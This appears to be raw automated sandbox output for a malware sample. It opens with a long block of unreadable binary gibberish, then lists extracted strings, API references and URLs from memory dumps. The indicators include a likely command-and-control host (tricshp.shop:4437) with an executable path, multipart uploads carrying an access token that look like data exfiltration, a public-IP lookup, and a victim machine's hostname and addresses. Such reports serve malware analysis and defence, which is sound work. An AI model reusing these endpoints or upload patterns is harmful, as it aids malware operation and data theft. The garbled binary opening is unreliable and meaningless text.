xÊíîØ«Õ5ÏmÜn3ïY4¬C[d6^z;B®(úê¸ñf^âDDsÐ K.IçB9Çècá/uÝzF©º ¿ÃSl°É+úöÄU(äó:½¸¨ÿáRÙñgñª{ÆåÇjâÖ9PºYð«7ZsõÎ/,ÐOB>o~êtl¬È!9&g+è¬-Ò6T¨;.å¦¢Gf¼þø1ÁïÈBÔ/Ü~Ø{9§Âlhºßê¼e_÷Ä`¨ê[¿ÍÍ¯^ùÇ§3.%ÁÞÏ{IÞgÎ=#&Z«ÕTÅÒwX\5IëÑ¬©Î'ÞEñ¯äV³×D{ÃÎ#ø§8ÿørXZxK7øL]ÒP|üqÉGx;¯J¶#ÆLÛo£,Mp(oô2£Z§/Á\)áÆOì£KÙt#(*+ÞÕ (£P8Ä zÂÄôårcå½ÿj-ìHRÃxdµÄÞtWùÈnÝáioKäz$ÿGyîmQ5Mãò%©ýa»oÍÛjµ¼^äÍ¤Å^³!þyÚêKðælÍæGZy¶jz8t2éÕöOÆZÃqýþ*EUn¥ÀSS!9UAðÌ`¯Ëú®ÔátÂÆXé\ólÏpâóvNãý²~ÏxÒð(Ñi2eöùp"W¼ató'ÑÂØË&+!³sáÝÉí¸a:6î(§kÆý%$ô×'UÎø=ÚÅÀ°e°yJN-$1S x.;äf?K@;NTh5Ö¼¸sÐFD¯ntÏñ¤HªØ&%Õ4ùå8+ÚÈ}² Ðëõèá¡öèúÊDVk¨a¤VÛøF è~t;öx>íÄõQÛ¯%vçñi÷Tÿ(Cßv®,üc°Äµ¸~"ú»ËË"BÞU«Õ'¶¸ì+c7ã°OÆËÜÕí ¾ Fvåb·ÉÉd)ªà±ÞÂ[&Ë"ÕÞk¬gÊ¿uÏHy!a 6ïj@&q^\Ìtîìá~]8ÏèÒØäÓKjã¾[¿íà¥¶8Bßô= Í²YWãè0Ç½Å(ä(LáÎ)ØôÚ:ØÃ¿Oó=ò×ÐWIaõ ×çn%j²?ÞÏÑ! ¡Üþ8ò§ùÔzXà/ZÏ{,f¹æ³ß¡.¶ªá8Qæ9ÿ2Vlî<¢o\-KÈÉÊ|¦t1t22à0»°èM)Í~ÔkÞQ-©5ýse éFy3§×1,Ó~Û{ùÍ-CôÜþ^fý¢Z¸$:²*6:.mÌWMákÐÕÄC:Bï)0©¶¶'þíÅïÆb¼ç8`±#u¤rèàV0êHbÇÛÑA2ÈáT >»®#SRr9ÎÎ}wÜ¦Rç\½ù(¤¸Z±Tp{sg_4Ú>sé?´"Mûdr!G9%üe8)ÕVÉ^·³P¡Ñ¢wÁaÄ7=æ|n#y¿XKâÆ6r+{ k=±½|ÿ'7§ÂÜúÉÃÙí÷ ¡uc¦(2á~ôE`ïààm9ÕAjÑÄFhºR¨smâtÒ¬â}¹±ÄYfpÆä'^:B&ÌXtÊãª(&Ov<õ²×¯H·?î ìPHøø¿ç Üu(ñÍKdÓF*î_îµ^sè"Á8Z{U°üBàµ®ëZOºpÊkÕ<¢þ;ÐkMÐFÓUYMÆ©ÿgù1~s&N.Sï¢¨^¦ªQåÞÒ´z½3ÍFi ÷ñ¯.´zU§£u×f|¾jüX.SZXu)é-ï®öî]<§?Gæ³<Ò¼9>QÞ@ötêÚs\YZÐQ49Ë®Þ3¡õþ<}¥JYòcóM³È8Q+o&°iuùì¨¥Yÿ=ì£¯*0û61!M|à~ºQòÐÓ;íchõjW\ÐlÝÇÖÝ¡õÅ«ââÄ½í9ßjîhuN6B@èL,ZÆ:¢B½5ãÆù}éÉÆnú{uÞ9Ê|aYpø³J&Y¥`#ãn;Ã'X£±´2ÑÏÅQ(Zµ£M*6ú4îä;}£±´mEfËFT±ÞÛ*Fã_<8ëlÚM´#pmñ<ðÐØ Méïð$Âðµ: ÇlJÝ«ÄcÞ÷ÍqÈYev0Ñ-Ó&LFGLÁZ+×#¶²ä/qK#îxô×d¡cÑÊG;SQ~¼ÓÕàôbC÷+äMÿÃ\é!òéØrþÜÚPâ´ö|¢úLyÁv&)ãâÁ³á-ÊóÂÞ/®'¾SÐ\P-ËFüié#Ù$ÜOìý¦ývâøèí'ÀâèWÎ§ -GÈÚäÏc<ÍÚ½ÿ"Ï@AQUoýÇ¶g;¶¸Wª¢%þNÄMÐÞÉæa(£^!MØ(_Äã»O_"~½vÍ£SÃÍd7ÈêDVE«ÏéUÄì1´^K[ª3pÐc5[)êÅÀGéÓ=5(ð{qÂxÜRë<}Â,Ê½x0Lß«K$¼µwl"¥ç3z¤ú$b,IÃ8»Fø}D´ã/×A½bû-k§î]$Æäî¡a÷Â÷)Ø¬¸í'¬ôböhÝ»Ù¡?¢tbÜúÑ¹(3sç`xRL;ôN8Ê:ÙÙ¯s`rà.vjüL-â¦9?:²Á³Ü "´àd`Ëºx«Yf<Õ¹xÐ½¼¶â¬¹.ýÑÌßÎ_·Þ6ÒÁÈç«;e"sñ ¢¨sX|ºqÑ$v8fy¶Åe`ä3pô¿~ùrìÎJÁówt>~ÄCÿQ6ur@F?÷÷ÇììÃQ·K7©ÉþÏgË$dþBZaínþÿ§mFrõ:®âÿqôWÞß[àýÃBïqæFß@têú°}uYæÙzC/k(8"·g®62è½µ÷-ëÙUÃDÇÂU«Ü¨[Gíg/]pß""ÝÿÁYÂb?k§?ìsÊ95<ÊAPó&Qº~¼§Þ÷ý^Í|ÀõÂD{RS=áÌ6OôTÛ¤¨6ShAgªñ²ìTØtê×»·NÍ~q½WÃû?åä[@sR5¤+ýÎ#1Uþ@ý¯öÁÂa]ÝêÓ~3´9õÛd)¸õ¤ª®}b%ø¿fYÂùh3É7ÂÓ¬izÙ/Jýz¯ªxyL]û²!EÆÙ£(¾´Èü£ifÉ>û&Â{sÈ¢%tOðÿênÈ!Ud³mHmØG)¼ËNl%Ïj®!î7Rdºã»T:[Âø´AXCþÛ³O÷IKY~ê a÷G_óÉ.ðª|í(GZ1fÔ;Qò7cpéã°Óu~{ôub6nø:,²rã±ºM{ û|L@P§LºëþªÂ=ÝZÃ[_ß£úÀÑÝê|ØVùoäM8Üýã(vLfÀÆ~É§ù/ºä{Y4hl»Ùmé¯F0^XµØûòë¨\¹æL^56$ÐÔåY-=¸Ø89@ÅFLô|;z÷ºC¦=´ ÃeI×¤/!Ë»Èi½æ xÍï7²,r§ì%hQðæn3Zâî`Î¨+I/A(xÏÌ³£Äºh<úÎ¡Kß?_J0ò>x÷<Ä8$%ÍRModÁÔ¬omlÚKFÌz%$PÉá³ÊP¦®ÙeêÑîÜaï~ìóq¹Òë\IÞÂO«¤¿hA×ö»GéZVTÚú_øè¾#ù¡-åF7ÐÄÙì·iµÊîÅÎÅÍuw\±Ù'à¶îÒE¦6º¼o³øM¢ÅtRLô¼d`qøø$dTüZ÷Éó@÷¹C¿Ó^Û³.Ib©éëÏòA5i§ÌüÂÍ°Ù`,jýMe?Î6À¤Ïþ¡(Dìc ·ênÁí »£5¤³Ê:ÊUþµÿEÃõLÆ¤M¬N'Xü y³Ëâ{ëÛbºÆdàüváUÏi¦Ë¿4ªI¤W{¿vÖ<÷¼÷èB wX6A®ebBMc1Ë¦¢ÏDþ5ª³_EvàA³ÇËt_%¿ý/?GÅªffx«FÓ2Â)ËÞëf«'àj¨ZÛÀG<éèU)Ú>|-XP1¶%mSê·rÿ·JÔZ!6!ï!nkÊ°zµÃïÜGcõ8Þ0g 3Ä,[]Ä6Yp,_?¹G-2¤âl\æÜ¼Ðsøà¤¢BgÇ´=^ûørh1³9ÏúåB&iô;ZH{Êëö¢^Ðïö7øA]#¿'ÍHx/áÙð1@·R®/Uü-_gîYÈðty#Û='òIÚíÍ7UXì))8ûF9&ã,}a4|R¾V=F|m¸ìX¡»:ÕM0Vß(6*>:±yZ¢óUrüð=ÆUÝ|ôh§Û\DÂ}Gñ¨LgS.áN{Öeâ?qsøöñxë4 ßiV1ðØ¤c$Â°qî]Gl:ÀgYÁg8D!©|ÚÜÞÌ õÆ³E±¯PA8|gc«1`##î_@Iêç&ZWËA©IÒo¶¼V*9$f²"´¹)Â·¨äenXñ)öãù¯cºWôÓbÌgýØéÖJGÙ\öfâu4rc²0ø¦æÙL!Ö,GøÐ±¸nö»FÅ«3±ã"Èå¿N8°L§¹»ÎÉØAÛc+R\HRÁÛÚ¤v©;ëÐ^¦.Êæô-Tõ½`éåãuÝóÎØÜOÿdÍ!xÆ.±ÔÅH-å!Ö]ÿÀï`°×õF'ÏçÕþ5ØèßâKLëøñÿå=ä;-Âh\þ(vëoo^FYFKPwBÝ¨Z© 5íÂ¯rÊì¹ §+»+óéVÅµÔ5Õ2ÕCÂ´{ióyi{5*k<¸íâ»¸T6Úµ0ÔÄ^V]Á?)M¥ØïrúNä»±\'gYHÝ|ÓÆ@í/{Þ°ìoÏý3óa2OÌ~UËÞÑ6"vÎD|ÖK(mêÏ;V£5Ã[EÐRÌv7µQRKùIº[èls¬ãbé<ÞUç3ÔÂl3¥DW`#R§^õ¤ Ø/Dª«ÏýÞ\þdÏã@¨z>»ÛIISð9C¬/DOÊ¥Î8XÍu>Y%ÂTvq\Í;+§÷ï±Ë¹ù×æ«¤ð(J½:¾7\»H§3ôzâÏ©$ýUMTVßòBcS=£hxÓÎ½{¨t³N0ÿLêk1ä`Èo¿}:zS1À(&mÅÃo©u+oÒÉ10æÉÇZ,Fpr;¼_qáøôY~N`®hØ7¥#uÝHX'ä÷ÛD±VKá¯Å\1»üÜÙtû#*ËËó7zÿlQ æóÛÊâM;MÃ±¤Ñò$¯uµ¥APr½þÞvCDÎLQÜs}ÍÓ·ræ¤HW´ôÌQWÕîêHõ²#V®ÇpºfÄ¨<àéÅ¬xÛ|`rÃÀv÷ßoö!ÀtSÔ6×@i×Ç²~Îð9&&YGþI5Ðiê\¸hVÛ âV PGµ·ØÐ¢-ÃÇÌÊ-aAKXí°Ë%u÷ðøµÙçSñm8Ñ@^~ üèAÆØ-ÿNÚÛÇXAÚ³CcMN«+¨.txé8dó¿"p0¼ÉNÇï¼76([öÕ )ÖI»y¼Qi¼Wß¤#2ßÀZ(Ö=fïÐeøÜ»%¼scxzª.#|·º÷ðþâ@ßtàëeíBéïöÑLèÞò½¶ÒÃèMÌ Ù©ò'Ò*OÛáW¦§Ýt»H¢ Vg\Ê¹@ã¬·ÉQ²yÒ=G§°°>"; File: "PCAP") Found string "Content-Type: multipart/form-data; boundary=5T7q9HmseJ95uPwow"; Source: "00000000-00006104-00000CCB-1250655584") Found string "--5T7q9HmseJ95uPwowContent-Disposition: form-data; name="access_token"f272812e-3e0b-4e69-95fe-8b0b344eecc1--5T7q9HmseJ95uPwowContent-Disposition: form-data; name="type"0--5T7q9HmseJ95uPwowContent-Disposition: form-data; name="file"; filename="; Source: "00000000-00006104-00000CCB-1250655584") Found string "Content-Type: multipart/form-data; boundary=uTZND816g5yHo5"; Source: "00000000-00006104-00000CCB-1297501686") Found string "--uTZND816g5yHo5Content-Disposition: form-data; name="access_token"f272812e-3e0b-4e69-95fe-8b0b344eecc1--uTZND816g5yHo5Content-Disposition: form-data; name="type"0--uTZND816g5yHo5Content-Disposition: form-data; name="file"; filename="data"C"; Source: "00000000-00006104-00000CCB-1297501686") Found string "Content-Type: multipart/form-data; boundary=6HZ8T49g"; Source: "00000000-00006104-00000CCB-1301639895") Found string "--6HZ8T49gContent-Disposition: form-data; name="access_token"f272812e-3e0b-4e69-95fe-8b0b344eecc1--6HZ8T49gContent-Disposition: form-data; name="type"0--6HZ8T49gContent-Disposition: form-data; name="file"; filename="data"Content-Type: appli"; Source: "00000000-00006104-00000CCB-1301639895") Found string "Content-Type: multipart/form-data; boundary=6HZ8T49g"; Source: "00000000-00006104.00000002.147425.6CAE8000.00000004.mdmp")6c:Ta08,file/memory contains long string with (Indicator: "wsastartup"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "wsacleanup"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "gethostbyname"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: " send "; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: " socket "; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found reference to API "syscall.WSAStartup" (Indicator: "wsastartup"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found reference to API "syscall.procWSAStartup" (Indicator: "wsastartup"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "wsastartup"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: "wsacleanup"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: "gethostbyname"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: " send "; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") file/memory contains long string with (Indicator: " socket "; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") Found reference to API "syscall.WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp, 00000000-00006104.00000002.147425.C9EF2000.00000002.mdmp") Found reference to API "syscall.procWSAStartup" (Indicator: "wsastartup"; Source: "00000000-00006104.00000002.147425.C9EF2000.00000002.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00007864.00000000.144909.46DB0000.00000004.mdmp, 00000000-00007864.00000001.145367.46DB0000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp, 00000000-00007864.00000001.145367.61250000.00000004.mdmp")6d:T27d8,Heuristic match: "*abi.name" Heuristic match: "*godebugs.info" Heuristic match: "er dereferencepanicwrap: unexpected string after package name: runtime: unexpected waitm - semaphore out of syncs.alloccount != s.nelems && freeindex == s.nelemssweeper left outstanding across sweep generationsfully empty unfreed span set block found in re" Heuristic match: "*x.ai" Heuristic match: "hx.bm" Heuristic match: "d~.cc" Pattern match: "http://www.w3.org/2000/svg" Pattern match: "8vuumicrosoft.commuid12a11495-8216-468c-b4ef-91a01564edd7.microsoft.com/_q1,9microsoft.comthx_guid459f7c585ccc4e1bae96039138b93fdevlscppe.microsoft.com/dq1,9visualstudio.comfedauth1d01nazvcrm1hu0nftjz5bfnfbezqafk4cxavdwtargftwutlntjhrhrrwnvnywjpwkg0rhyryun" Pattern match: "http://ocsp.digicert.com0b;09071http://crl3.digicert.com/digicertglobalrootg2.crl0=604020*0" Pattern match: "www.microsoft.com/edge/welcome?form=mt00ljwelcome" Pattern match: "www.bing.com/sa/simg/bing_p_rr_teal_min.icohttps://www.bing.com/search?q={searchterms}utf-8https://www.bing.com/osjson.aspx?query={searchterms}&language={language}485bf7d3-0215-45af-87dc-538868000003[]https://www.bing.com/images/detail/search?iss=sbiupload" Pattern match: "www.microsoft.commicrosoftapplicationstelemetrydeviceid/.clarity.msmuid/.bing.commuid/.microsoft.commscc/.microsoft.comms0/.c.clarity.msmr/.bat.bing.commr/.microsoft.commc1/www.clarity.msclid/.c.clarity.msanonchk/69+.scorecardresearch.comhttps://msn.comxid" Pattern match: "www.office.com/office;https://www.office.com/" Pattern match: "chrome.google.com/webstore?hl=enweb" Pattern match: "http://tricshp.shop:4437-74" Pattern match: "http://tricshp.shop:4437-880" Heuristic match: "api.ipify.org" Heuristic match: "get /?format=text http/1.1connection: keep-aliveuser-agent: public ip getter/1.0host: api.ipify.org" Pattern match: "http://tricshp.shop:4437-56" Heuristic match: "internal/abi.name.name" Heuristic match: "type:.eq.internal/godebugs.info" Heuristic match: "runtime.(*bucket).mp" Heuristic match: "runtime.(*polldesc).info" Heuristic match: "runtime.srcfunc.name" Heuristic match: "errors.is" Pattern match: "eq.sync/atomic.bool" Pattern match: "eq.sync/atomic.uint32" Pattern match: "eq.sync/atomic.uint64" Heuristic match: "sync.(*once).do" Pattern match: "eq.sync/atomic.pointer[sync.poolchainelt" Pattern match: "eq.sync/atomic.pointer[internal/sync.indirect[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.node[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[go.shape.interface" Pattern match: "eq.sync/atomic.pointer[go.shape.struct" Heuristic match: "reflect.flag.ro" Heuristic match: "reflect.value.int" Pattern match: "eq.sync/atomic.pointer[internal/bisect.dedup" Heuristic match: "internal/godebug.(*setting).name" Pattern match: "eq.sync/atomic.pointer[internal/godebug.value" Heuristic match: "syscall.errno.is" Heuristic match: "syscall.(*errno).is" Pattern match: "eq.io/fs.patherror" Pattern match: "eq.sync/atomic.pointer[os.dirinfo" Pattern match: "eq.math/rand.lockedsource" Pattern match: "eq.math/rand.runtimesource" Pattern match: "eq.math/rand.rand" Pattern match: "http://tricshp.shop:4437-1127" Pattern match: "http://tricshp.shop:4437-791393" Pattern match: "www.hippamsas.com" Heuristic match: "x;8.lc" Pattern match: "http://tricshp.shop:4437" Pattern match: "http://tricshp.shop:4437/" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Heuristic match: "}w.sa" Pattern match: "http://tricshp.shop:44ricshp.shop:4437/" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "tem.co" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://www.w3.org/2001/xmlschema#string" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225750" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113316" Pattern match: "https://go.microsoft.com/fwlink/?linkid=160712" Pattern match: "http://schemas.microsoft.com/powershell/microsoft.powershell" Heuristic match: "set-location $myinvocation.mycommand.name" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225747" Heuristic match: "get-content $file | more.com" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.consolehost/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.consolehost.dll" Heuristic match: "microsoft.powershell.co" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.security/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.security.dll" Heuristic match: "$this.resolvedcommand.name" Heuristic match: "$this.name + -> + $this.resolvedcommand.name" Heuristic match: "$this.name" Heuristic match: "$commandname = $this.name" Heuristic match: "$this.userinfo.identity.name" Heuristic match: "$this.userinfo.windowsidentity.name" Heuristic match: "oft.vi" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Heuristic match: "ll.se" Heuristic match: "ll.co" Heuristic match: "icrosoft.powershell.se" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "6n5sign.net/root.cr" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "t.com/^p" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "www.digicert.com1!0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://www.microsoft.com0" Pattern match: "https://go.microsoft.com/fwlink/?linkid=623621" Pattern match: "http://www.microsoft.com/windows0" Pattern match: "http://www.microsoft.com/pki/certs/microocera" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstak4" Pattern match: "http://www.microo4" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "http://www.microsoft.com/windows" Pattern match: "http://www.validationtest.contoso.com/test%d.html"6e:T5d73,Found URL "http://tricshp.shop:4437!this" - Source: "00000000-00006104.00000000.144042.40000000.00000040.mdmp") Found URL "http://tricshp.shop:4437/rpc-3c5e23eef65c334d30icrosoft" - Source: "00000000-00006104.00000000.144042.6CA60000.00000004.mdmp") Found URL "http://tricshp.shop:4437/tsvcsbbjs.exetsvcsutodialdllnsresolverpmappern-ushttp://tricshp.shop:4437/safd" - Source: "00000000-00006104.00000000.144042.6CA60000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006104.00000000.144042.6CA60000.00000004.mdmp") Found URL "http://tricshp.shop:4437!this" - Source: "00000000-00006104.00000001.145963.40000000.00000040.mdmp") Found URL "http://tricshp.shop:44ricshp.shop:4437/tricshp.shop__clientpreferredlanguanegotiatenegoextenderkerberosntlmtsssppku2uschannelth=c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\\registry\machine\software\classes\wow6432node\clsid\" - Source: "00000000-00006104.00000001.145963.6CA60000.00000004.mdmp") Found URL "http://tricshp.shop:44ricshp.shop:4437/tricshp.shopdesktop-fvvf82a192.168.0.22001:0:14c9:dc0e:41:1c04:bf83:f35ddesktop-fvvf82a192.168.0.22001:0:14c9:dc0e:41:1c04:bf83:f35db+ncalrpc:[ole8705fa195c1843c7530bbb17464e]t" - Source: "00000000-00006104.00000001.145963.6CA60000.00000004.mdmp") Found URL "http://tricshp.shop:4437/ttp://tricshp.shop:4437/ttp://tricshp.shop:4437/ricshp.shop:4437p:4437/icrosoft" - Source: "00000000-00006104.00000001.145963.6CA60000.00000004.mdmp") Found URL "http://tricshp.shop:4437/safd" - Source: "00000000-00006104.00000001.145963.6CA60000.00000004.mdmp") Found URL "http://tricshp.shop:4437/tricshp.shop" - Source: "00000000-00006104.00000001.145963.6CA60000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006104.00000001.145963.6CA60000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006104.00000002.147425.6CA60000.00000004.mdmp") Found URL "http://tricshp.shop:4437/safd" - Source: "00000000-00006104.00000002.147425.6CAE8000.00000004.mdmp") Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc0@&a.dllb6b1" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;0d'att3;number_of_processors=8processor_level=6$trec%aoos=windows_nto" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c30t(a," - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007864.00000000.144909.61250000.00000004.mdmp") Found URL 